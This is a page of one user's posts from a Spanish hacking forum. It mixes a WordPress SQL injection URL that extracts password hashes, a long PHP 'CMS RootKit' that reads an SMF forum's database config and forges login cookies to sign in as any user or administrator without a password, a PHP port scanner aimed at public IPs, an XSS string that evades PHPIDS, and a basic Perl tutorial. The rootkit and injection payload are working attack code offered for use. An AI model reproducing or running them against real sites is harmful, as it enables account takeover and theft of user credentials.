elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Temas
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42
391  Seguridad Informática / Nivel Web / SQL inyeccion en todas las versiones de wordpress menos la ultima :p en: 16 Diciembre 2007, 05:44 am
Una vulnerabilidad de tipo Inyección SQL fue encontrada en wordpress sobre las versiones 2.3 y posteriores.

Localmente hice pruebas y la version 2.3.1 no es afectada, de todas formas es recomendable utilizar sistemas de protección adicionales como PHPIDS o filtros que impidan un query con inyecciones SQL.

Ejemplo:

    http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/  UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/    FROM/**/wp_users%23

Esto también puede complementarse con una noticia posterior donde puedes tener acceso como administrador con tan solo tener acceso de lectura a la base de datos:
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/

Fuentes:
http://www.abelcheung.org/advisory/20071210-wordpress-charset.txt
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/
http://seclists.org/bugtraq/2007/Dec/0127.html
http://trac.wordpress.org/ticket/2394
http://seclists.org/bugtraq/2007/Nov/0274.html
http://h4ck1ng.net/index.php/topic,1036.0.html
http://whk.h4ck1ng.net/2007-12.15/inyeccion-sql-en-wordpress-23-y-posteriores/

También está el pwnpress que hace todo el trabajo sucio automaticamente :P


http://www.info-pull.com/code.dynp
392  Programación / PHP / Fork en php en: 8 Diciembre 2007, 09:26 am
Hola, estaba tratando de crear un port scanning en php pero de mucha velocidad donde se creara un proceso por cada 100 puertos para que fuera algo muy rápido pero me encontré con la sorpresa que no existe fork en php y me arrojó un error al ejecutarlo :-/

Busqué en php.net y encontré la función proc_open() que talvés pueda simular una función fork ejecutando /usr/local/bin/php para poder crear una función legitima fork(), me pueden dar una mano? :P

Por ejemplo:

Código
  1. $puerto = 1;
  2. while ($puerto <= 1000) {
  3. if(!@fsockopen($host, $puerto, $errno, $errstr, 30)) {
  4.  echo "$puerto cerrado<br />\n";
  5. } else {
  6.  echo "$puerto abierto<br />\n";
  7. }
  8. $puerto++;
  9. }

Hacerlo tardaría muchisimo pero con fork sería una solución
Código
  1. function escanear($host, $puerto_desde, $puerto_hasta){
  2. while ($puerto_desde <= $puerto_hasta) {
  3.  if(!@fsockopen($host, $puerto_desde, $errno, $errstr, 30)) {
  4.   echo "$host:$puerto_desde cerrado<br />\n";
  5.  } else {
  6.   echo "$host:$puerto_desde abierto<br />\n";
  7.  }
  8.  $puerto_desde++;
  9. }
  10. }
  11.  
  12. escanear("127.0.0.1", "1", "1000");
  13. escanear("192.168.1.69", "1", "1000");
  14. escanear("200.200.200.200", "1", "1000");
  15. escanear("10.10.10.10", "1", "1000");
  16. escanear("216.93.175.75", "1", "1000");
  17. etc....

Imagina todo esto en diferentes procesos, uno por cada escaneo.
393  Programación / PHP / CMS RootKit by WHK en: 8 Diciembre 2007, 02:00 am
Hola, estoy creando un sistema en PHP que se basa en la administración de sistemas CMS, la idea es poder aprender de cada uno... smf, wordpress, etc.

Por ejemplo con tan solo visualizarlo en un directorio de smf podras iniciar seción como cualquier usuario sin la necesidad del password entendiendo la estructura de la cookie, tambien quiero hacerlo para wordpress entre otras cosas mas.

Hice la pagina pero quiero subirla como pagina demostrativa en http://lab.jccharry.com/ pero para eso necesito verificar bien que no tenga alguna vulnerabilidad como por ejemplo alguna inyección sql ya que se basa en consultas a la base de datos. De todas formas lo haré en una cuenta aparte sin derechos de sobreescribir nada ni de leer otras bases de datos pero prefiero evitar antes que lamentar.

Código
  1. <?php
  2.  
  3. #################################################
  4. # Archivo : rk.php #
  5. # Nombre : CMS RootKit #
  6. # Version : 2.3 Beta     #
  7. # Autor   : WHK         #
  8. # Sistemas CMS soportados : SMF 1.1.4 #
  9. #################################################
  10.  
  11. // Declaraciones, variables y constantes ============================================
  12. $rk_path_smf = "./Settings.php";
  13. $rk_path_wordpress = "./wp-config.php";
  14. $rk_cms = rk_filtro($_GET["CMS"]);
  15. $rk_id = rk_filtro($_GET["id"]);
  16. // $rk_tipo_user = rk_filtro($_GET["tipo_user"]);
  17. $rk_username = rk_filtro($_GET["username"]);
  18. $rk_cookiename = urlencode($_GET["cookiename"]);
  19. $rk_id_MEMBER = rk_filtro($_GET["ID_MEMBER"]);
  20. $rk_id_GROUP = rk_filtro($_GET["ID_GROUP"]);
  21. $rk_passwd = rk_filtro($_GET["passwd"]);
  22. $rk_passwordSalt = rk_filtro($_GET["passwordSalt"]);
  23. $rk_header = "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
  24. <html>
  25. <head>
  26. <title>CMS RootKit by WHK</title>
  27. </head>
  28. <body style=\"color: rgb(255, 255, 255); background-color: rgb(102, 0, 0);\" alink=\"white\" link=\"white\" vlink=\"white\">\n<div style=\"text-align: center;\">
  29. <big>
  30. <span style=\"font-weight: bold;\"><a href=\"?\">CMS RootKit by WHK</a></span>
  31. </big><br />
  32. </div><br /><br />
  33. <table style=\"text-align: center; width: 100%; font-weight: bold;\" border=\"0\">
  34. <tbody>
  35. <tr>
  36. <td>Herramientas</td>
  37. </tr>
  38. </tbody>
  39. </table>
  40. <table style=\"text-align: center; width: 100%;\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\">
  41. <tbody>
  42. <tr>
  43. <td><a href=\"?CMS=crear\">Crear cookie</a></td>
  44. </tr>
  45. </tbody>
  46. </table>
  47. <br /><br />";
  48. $rk_footer = "</body>
  49. </html>";
  50. $rk_consola_a = "<span style=\"font-style: italic; font-weight: bold;\">Debugger</span><br />
  51. <table style=\"text-align: left; width: 100%; color: rgb(51, 255, 51);\" border=\"2\" cellpadding=\"0\" cellspacing=\"0\">
  52. <tbody>
  53. <tr>
  54. <td style=\"background-color: rgb(0, 0, 0);\">\n";
  55. $rk_consola_b = "</td>
  56. </tr>
  57. </tbody>
  58. </table>\n";
  59. $rk_contenido_1 = "<br /><br />
  60. <span style=\"font-weight: bold;\"> Haz click sobre el sistema CMS que deseas administrar.</span>\n";
  61. $rk_contenido_2 = "<span style=\"font-weight: bold;\">Ingrese el nombre de usuario registrado para iniciar seci&oacute;n, o si
  62. lo prefieres puedes ingresar &uacute;nicamente el numero de usuario registrado.
  63. (No se requiere password).<br /><br />
  64. </span>
  65. <form method=\"get\">
  66. <input name=\"CMS\" value=\"SMF\" type=\"hidden\">
  67. <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  68. <tbody>
  69. <tr>
  70. <td>Username:&nbsp;</td>
  71. <td><input name=\"username\" type=\"text\"></td>
  72. <td><input value=\"Ingresar\" type=\"submit\"></td>
  73. </tr>
  74. </form>
  75. <form method=\"get\">
  76. <input name=\"CMS\" value=\"SMF\" type=\"hidden\">
  77. <tr>
  78. <td>Id N&ordm;:&nbsp;</td>
  79. <td><input name=\"id\" type=\"text\"></td>
  80. <td><input value=\"Ingresar\" type=\"submit\"></td>
  81. </tr>
  82. </tbody>
  83. </table>
  84. </form>\n";
  85. $rk_error_1 = "Falta cookiename";
  86. $rk_error_2 = "Falta ID_MEMBER";
  87. $rk_error_3 = "Falta passwd";
  88. $rk_error_4 = "Falta passwordSalt";
  89. $rk_error_5 = "Falta ID_GROUP";
  90. $rk_comando_0 = "root@system:~$ <br />\n";
  91. $rk_comando_1 = "root@system:~$ rk&nbsp;-cms verificar<br />\n";
  92. $rk_comando_2 = "root@system:~$ rk&nbsp;-cms $rk_cms<br />\n";
  93. $rk_comando_3 = "root@system:~$ rk&nbsp;-cms $rk_cms -username $rk_username<br />\n";
  94. $rk_comando_4 = "root@system:~$ rk&nbsp;-cms $rk_cms -cookiename $rk_cookiename -ID_MEMBER $rk_id_MEMBER -passwd *** -passwordSalt $rk_passwordSalt<br />\n";
  95. // ==================================================================================
  96.  
  97. // Funciónes ========================================================================
  98. // Filtro ---------------------------------------------------------------------------
  99. function rk_filtro($rk_input){
  100. $rk_referer = htmlspecialchars($_SERVER['HTTP_REFERER']);
  101. $rk_filtro = array("`", "´", '"', "<", ">", ";", "'", "%60", "%C2%B4", "%22", "%3E", "%3C","%27", "%25", "%");
  102. for ($rk_i=0; $rk_i < count($rk_filtro) ; $rk_i++) {
  103.  if(eregi($rk_filtro[$rk_i],$rk_input)) {
  104. echo "<center>Por razones de seguridad no puede mostrarse la p&aacute;gina debido a que has ingresado<br />
  105. uno o mas caracteres prohibidos (".htmlspecialchars($rk_filtro[$rk_i]).") dentro de alg&uacute;n campo.<br /><br />
  106. <a href=\"$rk_referer\">Buelva a intentarlo por favor</a>.</center>\n";
  107.   exit(1);
  108.  }
  109. }
  110. return mysql_escape_string(htmlspecialchars($rk_input, ENT_QUOTES));
  111. }
  112. // ----------------------------------------------------------------------------------
  113.  
  114. // Verificación de sistemas CMS -----------------------------------------------------
  115. function rk_verificar($rk_vcms, $rk_path){
  116. if (file_exists($rk_path)) {
  117.  rk_consola("Se ha detectado un sistema <a style=\"color: rgb(51, 255, 51);\" href=\"?CMS=$rk_vcms\">$rk_vcms</a> en este directorio.");
  118.  return false;
  119. } else {
  120.  return true;
  121. }
  122. }
  123. // ----------------------------------------------------------------------------------
  124.  
  125. // Mensaje de error -----------------------------------------------------------------
  126. function rk_error($rk_ferror){
  127. echo "<font style='color: red'>[!] $rk_ferror</font><br />\n";
  128. return true;
  129. }
  130. // ----------------------------------------------------------------------------------
  131.  
  132. // Mensaje rojo ---------------------------------------------------------------------
  133. function rk_msg_rojo($rk_fcolor){
  134. echo "<span style=\"font-weight: bold; color: rgb(204, 0, 0);\">$rk_fcolor</span>";
  135. }
  136. // ----------------------------------------------------------------------------------
  137.  
  138. // Mensaje verde --------------------------------------------------------------------
  139. function rk_msg_verde($rk_fcolor){
  140. echo "<span style=\"font-weight: bold; color: rgb(0, 153, 0);\">$rk_fcolor</span>";
  141. }
  142. // ----------------------------------------------------------------------------------
  143.  
  144. // Mensaje multicolor ---------------------------------------------------------------
  145. function rk_msg_multicolor($rk_fcolor, $verificar){
  146. if($verificar == "1"){
  147.  rk_msg_rojo($rk_fcolor);
  148. } else {
  149.  rk_msg_verde($rk_fcolor);
  150. }
  151. }
  152. // ----------------------------------------------------------------------------------
  153.  
  154. // Mensaje de consola ---------------------------------------------------------------
  155. function rk_consola($rk_fconsola){
  156. echo "[*] $rk_fconsola<br />\n";
  157. }
  158. // ----------------------------------------------------------------------------------
  159. // ==================================================================================
  160.  
  161. // Inicio ===========================================================================
  162. if($rk_cms == ""){
  163. echo $rk_header;
  164. echo $rk_consola_a;
  165. echo $rk_comando_1;
  166. rk_consola("Verificando sistemas CMS ...");
  167.  
  168. // Verificando sistemas CMS... -----------------------------------------------------
  169. if (!rk_verificar("SMF", $rk_path_smf)) {
  170.  $rk_b = "1";
  171. }
  172.  
  173. if (!rk_verificar("Wordpress", $rk_path_wordpress)) {
  174.  $rk_b = "1";
  175. }
  176. // ----------------------------------------------------------------------------------
  177.  
  178. if ($rk_b != "1") {
  179.  rk_error("No se ha detectado ning&uacute;n sistema CMS.<br />\n");
  180.  echo "<br />$rk_comando_0\n";
  181.  echo $rk_consola_b;
  182.  echo $rk_footer;
  183.  exit(1);
  184. } else {
  185.  echo "<br />$rk_comando_0\n";
  186.  echo $rk_consola_b;
  187.  echo $rk_contenido_1;
  188.  echo $rk_footer;
  189.  exit(0);
  190. }
  191. }
  192. // ==================================================================================
  193.  
  194. // Crear cookie =====================================================================
  195. $rk_e = "1";
  196. if($rk_cms == "crear") {
  197. if ($rk_cookiename == "") { $rk_f1 = "1"  ; $rk_e++ ; }
  198. if ($rk_id_MEMBER == "") { $rk_f2 = "1"  ; $rk_e++ ; }
  199. if ($rk_passwd == "") { $rk_f3 = "1"  ; $rk_e++ ; }
  200. if ($rk_passwordSalt == "") { $rk_f4 = "1"  ; $rk_e++ ; }
  201. if ($rk_id_GROUP == "") { $rk_f5 = "1"  ; $rk_e++ ; }
  202. if ($rk_e == "6") {
  203. echo $rk_header;
  204. echo "<span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
  205. <form method=\"get\">
  206. <table style=\"text-align: left; width: 100%;\" border=\"1\"
  207. cellpadding=\"1\" cellspacing=\"0\">
  208.  <tbody>
  209.    <tr>
  210.      <td>
  211.      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
  212.      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  213.        <tbody>
  214.          <tr>
  215.            <td>cookiename:&nbsp;</td>
  216.            <td><input name=\"cookiename\" type=\"text\"></td>
  217.          </tr>
  218.          <tr>
  219.            <td>ID_MEMBER:&nbsp;</td>
  220.            <td><input name=\"ID_MEMBER\" type=\"text\"></td>
  221.          </tr>
  222.          <tr>
  223.            <td>Passwd (HASH):&nbsp;</td>
  224.            <td><input name=\"passwd\" type=\"text\"></td>
  225.          </tr>
  226.          <tr>
  227.            <td>passwordSalt:&nbsp;</td>
  228.            <td><input name=\"passwordSalt\" type=\"text\"></td>
  229.          </tr>
  230.          <tr>
  231.            <td>ID_GROUP:&nbsp;</td>
  232.            <td><input name=\"ID_GROUP\" type=\"text\"></td>
  233.            <td><input value=\"Generar cookie\" type=\"submit\"></td>
  234.          </tr>
  235.        </tbody>
  236.      </table>
  237.      </td>
  238.    </tr>
  239.  </tbody>
  240. </table>
  241. </form>
  242. <br />
  243. Ingresa los siguientes datos para generar tu cookie.";
  244. echo $rk_footer;
  245. } else {
  246. if ($rk_e  >= "2") {
  247. echo "$rk_header $rk_consola_a $rk_comando_4";
  248. if ($rk_f1 == "1") { rk_error("$rk_error_1"); }
  249. if ($rk_f2 == "1") { rk_error("$rk_error_2"); }
  250. if ($rk_f3 == "1") { rk_error("$rk_error_3"); }
  251. if ($rk_f4 == "1") { rk_error("$rk_error_4"); }
  252. if ($rk_f5 == "1") { rk_error("$rk_error_5"); }
  253. echo "<br />$rk_comando_0\n$rk_consola_b ";
  254. echo "<br /><span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
  255. <form method=\"get\">
  256. <table style=\"text-align: left; width: 100%;\" border=\"1\"
  257. cellpadding=\"1\" cellspacing=\"0\">
  258.  <tbody>
  259.    <tr>
  260.      <td>
  261.      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
  262.      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  263.        <tbody>
  264.          <tr>
  265.            <td>";rk_msg_multicolor("cookiename:", $rk_f1);echo"&nbsp;</td>
  266.            <td><input name=\"cookiename\" type=\"text\" value=\"$rk_cookiename\"></td>
  267.          </tr>
  268.          <tr>
  269.            <td>";rk_msg_multicolor("ID_MEMBER:", $rk_f2);echo"&nbsp;</td>
  270.            <td><input name=\"ID_MEMBER\" type=\"text\" value=\"$rk_id_MEMBER\"></td>
  271.          </tr>
  272.          <tr>
  273.            <td>";rk_msg_multicolor("Passwd (HASH):", $rk_f3);echo"&nbsp;</td>
  274.            <td><input name=\"passwd\" type=\"text\" value=\"$rk_passwd\"></td>
  275.          </tr>
  276.          <tr>
  277.            <td>";rk_msg_multicolor("passwordSalt:", $rk_f4);echo"&nbsp;</td>
  278.            <td><input name=\"passwordSalt\" type=\"text\" value=\"$rk_passwordSalt\"></td>
  279.          </tr>
  280.          <tr>
  281.            <td>";rk_msg_multicolor("ID_GROUP:", $rk_f5);echo"&nbsp;</td>
  282.            <td><input name=\"ID_GROUP\" type=\"text\" value=\"$rk_id_GROUP\"></td>
  283.            <td><input value=\"Generar cookie\" type=\"submit\"></td>
  284.          </tr>
  285.        </tbody>
  286.      </table>
  287.      </td>
  288.    </tr>
  289.  </tbody>
  290. </table>
  291. </form>
  292. <br />
  293. Ingresa los siguientes datos para generar tu cookie.";
  294. echo $rk_footer;
  295. }
  296.  
  297. if ($rk_e == "1") {
  298. echo $rk_header;
  299. echo $rk_consola_a;
  300. echo $rk_comando_4;
  301. if($rk_id_GROUP == "1") {
  302.  // Administrador
  303.  rk_consola("Construyendo cookie...");
  304.  rk_consola("Datos:");
  305.  echo "<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  306.  echo "[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  307.  echo "[!] passwd (hash): $rk_passwd<br />\n";
  308.  echo "[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  309.  rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_id_MEMBER\";i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  310.  echo "<br />$rk_comando_0\n";
  311.  echo $rk_consola_b;
  312.  echo $rk_footer;
  313. }
  314. if($rk_id_GROUP == "0") {
  315.  // Usuario
  316.  rk_consola("Construyendo cookie...");
  317.  rk_consola("Datos:");
  318.  echo "<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  319.  echo "[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  320.  echo "[!] passwd (hash): $rk_passwd<br />\n";
  321.  echo "[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  322.  rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;i:$rk_id_MEMBER;i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  323.  echo "<br />$rk_comando_0\n";
  324.  echo $rk_consola_b;
  325.  echo $rk_footer;
  326. }
  327. }
  328. }
  329. }
  330. // ==================================================================================
  331.  
  332. // SMF ==============================================================================
  333. if($rk_cms == "SMF") {
  334. echo $rk_header;
  335. echo $rk_consola_a;
  336. if($rk_username != ""){
  337.  echo $rk_comando_3;
  338. } else {
  339.  echo $rk_comando_2;
  340. }
  341. // Verificando la existencia de SMF -------------------------------------------------
  342. rk_consola("Verificando sistema SMF...");
  343. if (file_exists($rk_path_smf)) {
  344.  define("SMF", 1);
  345.  include($rk_path_smf);
  346. rk_consola("Verifici&oacute;n satisfactoria.");
  347. } else {
  348.  rk_error("No existe el sistema CMS en este directorio.");
  349.  echo "<br />$rk_comando_0\n";
  350.  echo $rk_consola_b;
  351.  echo $rk_footer;
  352.  exit(1);
  353. }
  354.  
  355. // Definiendo conexión SQL ---------------------------------------------------------
  356. define (SERVER, $db_server);
  357. define (USER, $db_user);
  358. define (PASS, $db_passwd);
  359. define (DB,   $db_name);
  360. // ----------------------------------------------------------------------------------------
  361.  
  362. // Función de la consulta SQL -------------------------------------------------------
  363. function rk_db_query($rk_sql){
  364. if (!$rk_conectar = @mysql_pconnect(SERVER, USER, PASS)){
  365.  rk_error("Error en la conecci&oacute;n.");
  366.  return false;
  367. }
  368. if (!@mysql_select_db(DB,$rk_conectar) ){
  369.  rk_error("Error al seleccionar la base de datos.");
  370.  return false;
  371. }
  372. if (!$rk_query = @mysql_query($rk_sql,$rk_conectar) ){
  373.  rk_error("Error al efectuar la busqueda.");
  374.  return false;
  375. }
  376. return $rk_query;
  377. }
  378.  
  379. // Verificando ID_MEMBER y memberName ------------------------------------------------
  380. $rk_consulta2 = "SELECT ID_MEMBER FROM `".$db_prefix."members`";
  381. if ($rk_id != "") {
  382.  $rk_consulta = "SELECT * FROM `".$db_prefix."members` WHERE ID_MEMBER = $rk_id";
  383.  $c_ = "1";
  384. }
  385.  
  386. if ($c_ != "1") {
  387.  if ($rk_username != "") {
  388.   $rk_consulta = "SELECT * FROM `".$db_prefix."members` WHERE `memberName` LIKE CONVERT(_utf8 '$rk_username' USING latin1) COLLATE latin1_swedish_ci";
  389.  }
  390. }
  391.  
  392. // Buscando usuario ------------------------------------------------------------------
  393. rk_consola("Conectando...");
  394. if(($rk_username == "") and ($rk_id == "")){
  395.  if ($rk_query = rk_db_query($rk_consulta2)){
  396.   $rk_whk = "1";
  397.   while ($rk_row = mysql_fetch_row($rk_query)){
  398.    foreach ($rk_row as $rk_out)
  399.     $rk_whk++;
  400.   }
  401.   $rk_whk_out = $rk_whk - 1;
  402.   rk_consola("Conecci&oacute;n satisfactoria.");
  403.  }
  404.  rk_consola("Numero de usuarios registrados: $rk_whk_out");
  405.  echo "<br />$rk_comando_0\n";
  406.  echo $rk_consola_b;
  407.  echo $rk_contenido_2;
  408.  echo $rk_footer;
  409.  exit(0);
  410.  
  411. } else {
  412.  if ($rk_query = rk_db_query($rk_consulta)){
  413.   rk_consola("Conecci&oacute;n satisfactoria.");
  414.   if ($c_ == "1") {
  415.    rk_consola("Buscando usuario N&ordm;$rk_id ...");
  416.   } else {
  417.    rk_consola("Buscando usuario $rk_username...");
  418.   }
  419.   $rk_whk = 1;
  420.   while ($rk_row = mysql_fetch_row($rk_query)){
  421.    foreach ($rk_row as $rk_out){
  422.     if ($rk_whk == "1" ){ $rk_idMEMBER_out = $rk_out; }
  423.     if ($rk_whk == "2" ){ $rk_usernameout = $rk_out; }
  424.     if ($rk_whk == "5" ){ $rk_idGROUP_out = $rk_out; }
  425.     if ($rk_whk == "14"){ $rk_passwd_out = $rk_out; }
  426.     if ($rk_whk == "52"){ $rk_passwordSalt_out = $rk_out; }
  427.     $rk_whk++;
  428.    }
  429.   }
  430.  }
  431. }
  432.  
  433. // Aplicando cookie ------------------------------------------------------------------
  434. if($rk_idGROUP_out == "1") {
  435.  // Administrador
  436.  rk_consola("Usuario encontrado. Construyendo cookie...");
  437.  rk_consola("Datos:");
  438.  echo "<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  439.  echo "[!] Username: $rk_usernameout<br />\n";
  440.  echo "[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  441.  echo "[!] passwd (hash): $rk_passwd_out<br />\n";
  442.  echo "[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  443.  echo "[!] ID_GROUP: $rk_idGROUP_out (Administrador)</font><br />\n";
  444.  echo "<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_idMEMBER_out\";i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  445.  rk_consola("Cookie aplicada.");
  446. }
  447. if($rk_idGROUP_out == "0") {
  448.  // Usuario
  449.  rk_consola("Usuario encontrado. Construyendo cookie...");
  450.  rk_consola("Datos:");
  451.  echo "<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  452.  echo "[!] Username: $rk_usernameout<br />\n";
  453.  echo "[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  454.  echo "[!] passwd (hash): $rk_passwd_out<br />\n";
  455.  echo "[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  456.  echo "[!] ID_GROUP: $rk_idGROUP_out (Usuario)</font><br />\n";
  457.  echo "<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;i:$rk_idMEMBER_out;i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  458.  rk_consola("Cookie aplicada.");
  459. }
  460. if($rk_idGROUP_out == "") {
  461.  // Ninguno
  462.  rk_error("Usuario inexistente.<br />\n");
  463. }
  464. echo "<br />$rk_comando_0\n";
  465. echo $rk_consola_b;
  466. echo $rk_contenido_2;
  467. echo $rk_footer;
  468. }
  469. // ----------------------------------------------------------------------------------
  470. // ==================================================================================
  471.  
  472. // Wordpress ========================================================================
  473. if($rk_cms == "Wordpress") {
  474. echo $rk_header;
  475. echo $rk_consola_a;
  476. echo $rk_comando_2;
  477. rk_error("En construcci&oacute;n.");
  478. echo "<br />$rk_comando_0\n";
  479. echo $rk_consola_b;
  480. echo $rk_footer;
  481. }
  482. // ==================================================================================
  483.  
  484. ?>


Acá les dejo el avance del sistema, si alguien ve alguna falla antes de subirlo porfavor que me lo pueda decir.
todavía no está 100% terminado pero si operativo.
Una copia del código lo dejé acá:
http://foro.jccharry.com/index.php?topic=42.0
donde explico el fin de este archivo.
394  Foros Generales / Sugerencias y dudas sobre el Foro / "Hacking Linux/Unix" y GNU que? en: 8 Noviembre 2007, 21:03 pm
Que yo sepa Linux y Unix no es GNU y lo que la mayoría usamos es GNU/Linux asi que pienso que al llamarse esa sección "Hacking Linux/Unix" significa que no hay hacking en GNU el cual usamos nosotros. UNIX no es un SistemaOperativo libre, no así GNU que utiliza el kernel de Linux sobre el cual existen sus distritos que todos conocen... ubuntu, ututo, red hat, bsd, etc etc.

Yo opino que esa sección devería llamarse "Hacking GNU-Unix/Linux" o "Hacking Linux/GNU/Unix"de esta forma también abarcamos los kernels que no son linux... es mas... ni si quiera devería llamarse Linux ya que con nombrar ambos Sistemas Operativos ya lo abarcamos. ¿Que tal "Hacking GNU -Unix" ??

Bién decía Richard Stallman "GNU (GNU No es Unix)"
395  Programación / PHP / PHPIDS no me filtra una petición en: 8 Noviembre 2007, 02:53 am
Estaba instalando phpids en una prueba en mi localhost para implementarlo en joomla y va todo bién exepto por este script que no me lo filtra:

http://127.0.0.1/joomla/phpids/docs/examples/example.php?test='" onload();
Citar

Si pongo una comilla simple o doble si me lo filtra pero al poner eso completo no.
De todas formas un ataque de tipo <input type="text" name="mail" value="" > donde en una petición GET se rellene ese input puede provocar un XSS.

Todo está configurado por defecto. Hice algo mal? o hay que avisar?
396  Programación / Scripting / Tutorial Perl desde cero en: 7 Noviembre 2007, 04:15 am
Como veo que no hay mucho material de Perl acá y si varios interesados... les dejo un tutorial que acabo de hacer... otro dia termino la segunda parte.

Programación en Perl I

Al igual que ustedes yo también aprendo por lo cual quiero compartir lo que yo se con ustedes para que todos juntos podamos aprender cada ves mas.

Perl es un lenguaje scripting interpretado, eso significa que necesitamos un software que leerá nuestros scripts y los ejecutará.
Les demostraré que tan facil puede ser aprender este lenguaje tan flexible, útil y facil de aprender.
Este tutorial va dedicado a usuarios de Linux en todas sus distribuciones ya que por defecto viene el software que ejecutará nuestros scripts llamado “Perl”, en el caso de Windows tendrás que instalar “Active Perl” y “Cygwin” para acomodar cada función de linux y hacer mas poderosos nuestros scripts.

Mi primer script
Abrimos nuestro editor de texto (en Linux podemos usar gedit, kwrite o lo que sea... en Windows usaremos el block de notas) y comenzaremos a crear nuestro primer script:

Código
  1. #!/usr/bin/perl -w
  2. #test.pl
  3.  
  4. print "hola\n";
  5. exit(0);

¿Que significa cada linea, como lo ejecutamos y que hace?
Cada linea que comienza con el carácter "#" será omitido al momento de ejecutarse el script, esto significa que son comentarios o cualquier cosa que quieras escribirle, esto no se ejecutará ni será tomado en cuenta.
En el caso de linux esto significa que es un código en perl e indica la dirección de perl, esto siempre Debes ponerlo al rpincipio, si no lo pones no pasa nada pero si se hace por costumbre para identificar que es un script en perl. Al pasar el mouse sobre el archivo este tomará el ícono de ejecutable devido a esa primera linea y será cosiderado un "script en Perl".
Código
  1. #!/usr/bin/perl -w

Ahora pongo un comentario para indicar el nombre del archivo (esto no es obligación pero yo lo puse para mayor orden).
Código
  1. #test1.pl

Ahora ejecutamos un print para escribir en pantalla la palabra hola. Esto puede crearse de muchas maneras según lo necesites, también esribimos “\n” el cual significa que al final de la palabra hola se escribirá el carácter “return” para seguir en la linea de abajo.
Código
  1. print "hola\n";

Esto también podemos ejecutarlo de las siguientes maneras:
Código
  1. print "hola";
  2. print("hola");
  3. print 'hola';
  4. print('hola');

Al igual que en el lenguaje C++ puedes utilizar "printf" de la misma manera pero no "echo".

Acá le decimos que es el término del script, puedes no ponerlo pero se hace por costumbre en un buén script. Cuando digo exit(0) significa que no hubo errores, si escribo exit(1) le estoy diciendo al sistema que se produjo un error o los resultados no fueron lo esperado, esto lo puedes utilizar en complementos que veremos en otra oportunidad.
exit(0);

¿Como lo ejecutamos?
Guardaremos nuestro texto en el escritorio como test1.pl y desde la consola de comandos ejecutaremos lo siguiente:
En Linux:  perl ./test.pl
En Windows: c:\perl\perl.exe "%homepath%\escritorio\test.pl"


Nos aparecerá la palabra hola :D
Citar
yan@Lola:~/Desktop$ perl ./test.pl
hola
yan@Lola:~/Desktop$

Ahora para practicar escribiremos algunos textos en pantalla:
Código
  1. #!/usr/bin/perl -w
  2. #test2.pl
  3.  
  4. print "hola,\n";
  5. print "Como puedes ver acá escribio que sea sin problemas y con el carácter '\\n' hago return.\n";
  6. printf "También puedo utilizar printf de la misma manera. Ahora vamos a salir del programa:\n";
  7. exit(0);
  8. print("Como ves esto no se ejecuta porque ya salí :p");


While y for
Estas dos funciones son muy útiles para automatizar todo un proceso:
Código
  1. #!/usr/bin/perl -w
  2. #test3.pl
  3.  
  4. my $cuenta = 1;
  5.  
  6. #-------------------------------------------------------------------------------------------------
  7. print "Escribiremos desde 000 hasta 100\n";
  8. for $i ( "000" .. "100" ) {
  9. print "$i\n";
  10. }
  11. #-------------------------------------------------------------------------------------------------
  12. print "Escribiremos 100 más, pero con while:\n";
  13. while ( $cuenta <= 100 ) {
  14. print "$cuenta\n";
  15. $cuenta++;
  16. }
  17. #-------------------------------------------------------------------------------------------------
  18. print "Fijate que si no le pongo comillas no tomará los ceros al comienzo:\n";
  19. for $i ( 000 .. 100 ) {
  20. print "$i\n";
  21. }
  22. #-------------------------------------------------------------------------------------------------
  23. exit(0);

¿Que tal si me escribes en pantalla 100 veces la frase "no molestaré mas a mis compañeros" ? a Vart de los Simpsons de seguro le gustaría jajaja:
Código
  1. #!/usr/bin/perl -w
  2. #test4.pl
  3.  
  4. for $i ( "000" .. "100" ) {
  5. print "No molestaré mas a mis compañeros.\n";
  6. }
